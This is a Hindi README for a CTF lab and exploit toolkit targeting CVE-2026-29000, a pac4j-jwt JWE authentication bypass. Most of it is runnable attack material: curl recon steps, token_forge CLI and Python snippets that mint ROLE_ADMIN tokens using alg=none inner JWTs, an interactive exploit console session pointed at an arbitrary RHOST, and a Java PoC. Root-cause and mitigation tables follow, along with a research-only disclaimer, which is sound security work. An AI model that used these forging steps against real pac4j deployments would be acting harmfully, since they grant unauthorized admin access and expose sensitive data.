# CVE-2026-29000 के लिए CTF लैब और एक्सप्लॉइट टूलकिट, जो pac4j-jwt JWE प्रमाणीकरण बायपास है। इसमें कमजोर Flask टारगेट, टोकन फोर्जिंग लाइब्रेरी, इंटरैक्टिव एक्सप्लॉइट कंसोल, और Java PoC शामिल हैं।
pac4j-jwt लाइब्रेरी में JWE प्रमाणीकरण भेद्यता पर शोध करने वाला CTF लैब CVSS 9.3 (Critical) · CWE-287 · प्रभावित: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3
pac4j-jwt प्रभावित संस्करणों में एक PlainJWT (alg=none, बिना हस्ताक्षर) बनाकर उसे JWE (JSON Web Encryption) के अंदर लपेटकर पूरे JWT प्रमाणीकरण तंत्र को बायपास करने की अनुमति देता है। JWE परत को डिक्रिप्ट करने के बाद, लाइब्रेरी अंदर के JWT के एल्गोरिदम की जाँच नहीं करती — claims पर पूरी तरह भरोसा किया जाता है, जिसमें role भी शामिल है।
हमले की श्रृंखला:
X-Powered-By: pac4j/6.0.3 ← version leak → फ्रेमवर्क की पहचान
↓
OIDC Discovery → JWKS → RSA public key ← सार्वजनिक जानकारी
↓
Forge JWE (PlainJWT alg=none, ROLE_ADMIN)
↓
Auth bypass → GET /admin?token=<JWE> ← एडमिन पैनल तक पहुंच
↓
संवेदनशील डेटा पढ़ें: employee list, system config, flag
CVE-2026-29000/
├── lab/ # Target – Flask app (NexusBank Employee Portal)
│ ├── app.py # भेद्यता वाला मुख्य एप्लिकेशन
│ ├── Dockerfile # बिल्ड के समय /flag.txt में Flag बेक किया गया
│ └── requirements.txt
│
├── token_forge/ # नकली JWE टोकन बनाने वाली Python लाइब्रेरी
│ ├── forge.py # forge_token()
│ ├── jwe_builder.py
│ ├── keys.py
│ ├── claims.py
│ └── cli.py # CLI: python -m token_forge
│
├── scripts/
│ └── exploit.py # इंटरैक्टिव एक्सप्लॉइट कंसोल (Metasploit-शैली)
│
├── poc/ # Java PoC – in-process बायपास की पुष्टि
│ ├── src/main/java/Poc.java
│ └── pom.xml
│
├── tests/
├── docker-compose.yml
└── requirements.txt
| उपकरण | संस्करण | नोट |
|---|---|---|
| Docker Desktop | 24+ | लैब टारगेट चलाने के लिए |
| Docker Compose | v2+ | Docker Desktop में एकीकृत |
| Python | 3.11+ | exploit.py और token_forge चलाने के लिए |
| Java + Maven | 11+ | केवल Java PoC के लिए आवश्यक |
git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000
# Linux / macOS
python -m venv .venv && source .venv/bin/activate
# Windows
python -m venv .venv && .venv\Scripts\activate
pip install -r requirements.txt
docker compose up -d lab
लैब चल रहा है इसकी पुष्टि करें:
curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3
Flag अनुकूलित करें:
docker compose build --build-arg FLAG="CTF{custom_flag}" lab docker compose up -d lab
docker compose down
exploit.py Metasploit-शैली का इंटरैक्टिव कंसोल है। उपयोगकर्ता जानकारी एकत्र करने के लिए स्वयं recon करता है, फिर कॉन्फ़िगर और एक्सप्लॉइट करता है।
python scripts/exploit.py
# या कमांड लाइन से पहले से सेट करें:
python scripts/exploit.py --rhost 192.168.1.31 --rport 8080
पूर्ण सत्र का उदाहरण:
jwe-bypass > set RHOST 192.168.1.31
[+] RHOST => 192.168.1.31
jwe-bypass > check
[*] Checking http://192.168.1.31:8080 ...
[+] HTTP 200
[+] X-Powered-By: pac4j/6.0.3
[+] Target appears VULNERABLE (pac4j detected)
jwe-bypass > set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
[+] PUBKEY => http://192.168.1.31:8080/.well-known/jwks.json
jwe-bypass > run
[1/3] Loading RSA public key ...
[+] Public key loaded
[2/3] Forging JWE token (CVE-2026-29000) ...
[+] Token forged (606 chars)
[3/3] Verifying auth bypass on /api/profile ...
[+] Authenticated as: pwned roles: ['ROLE_ADMIN']
Auth bypass successful!
Open in your browser:
http://192.168.1.31:8080/admin?token=eyJ...
एडमिन डैशबोर्ड में जाने के लिए ब्राउज़र में उपरोक्त URL खोलें।
PUBKEY 3 प्रारूपों का समर्थन करता है:
# 1. JWKS URL — स्वतः fetch करें (अनुशंसित)
set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
# 2. डाउनलोड की गई फ़ाइल
set PUBKEY /tmp/key.json
# 3. सीधे raw JSON पेस्ट करें
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}
# रिस्पॉन्स हेडर से फ्रेमवर्क का पता लगाएं
curl -sI http://TARGET:8080
# छिपा हुआ एंडपॉइंट खोजें
curl -s http://TARGET:8080/robots.txt
# RFC 8414: pac4j हमेशा इस एंडपॉइंट को expose करता है
curl -s http://TARGET:8080/.well-known/openid-configuration
# jwks_uri से RSA public key प्राप्त करें
curl -s http://TARGET:8080/.well-known/jwks.json
python -m token_forge \
--jwks-url http://TARGET:8080/.well-known/jwks.json \
--subject attacker \
--roles ROLE_ADMIN
TOKEN=$(python -m token_forge \
--jwks-url http://TARGET:8080/.well-known/jwks.json \
--roles ROLE_ADMIN 2>/dev/null)
# बायपास की पुष्टि करें
curl -s -H "Authorization: Bearer $TOKEN" http://TARGET:8080/api/profile
# ब्राउज़र में एडमिन डैशबोर्ड खोलें
echo "http://TARGET:8080/admin?token=$TOKEN"
from token_forge import forge_token, load_public_key_from_jwks_url
key = load_public_key_from_jwks_url("http://TARGET:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)
Nimbus JOSE + pac4j 6.0.3 के साथ सीधे JVM में बायपास की पुष्टि करें:
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]
# केवल टोकन प्रिंट करें
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
pytest tests/ -v
# कवरेज रिपोर्ट के साथ
pytest tests/ -v --cov=token_forge --cov-report=term-missing
| स्थान | समस्या |
|---|---|
JwtAuthenticator.validateToken() | JWE डिक्रिप्ट करने के बाद, SignedJWT.parse() के बजाय PlainJWT.parse() कॉल करता है |
लैब में _payload_to_claims() | base64decode + json.loads सीधे, हस्ताक्षर सत्यापित नहीं करता |
गलत प्रोसेसिंग फ्लो:
JWE decrypt → payload प्राप्त करें → base64decode → json.loads → claims पर भरोसा करें
↑ अंदर के JWT हस्ताक्षर सत्यापन चरण गायब
| उपाय | विवरण |
|---|---|
| pac4j-jwt अपग्रेड करें | >= 6.3.3 / 5.7.9 / 4.5.9 पर |
| PlainJWT अस्वीकार करें | JWE डिक्रिप्ट करने के बाद alg != "none" जाँचें |
| वर्शन हेडर हटाएं | प्रोडक्शन में X-Powered-By बंद करें |
| Least privilege | कंटेनर को root अधिकारों के साथ न चलाएं |
चेतावनी: यह रिपॉजिटरी केवल नियंत्रित वातावरण में सुरक्षा अनुसंधान और CTF उद्देश्यों के लिए है। अनधिकृत सिस्टम पर उपयोग न करें।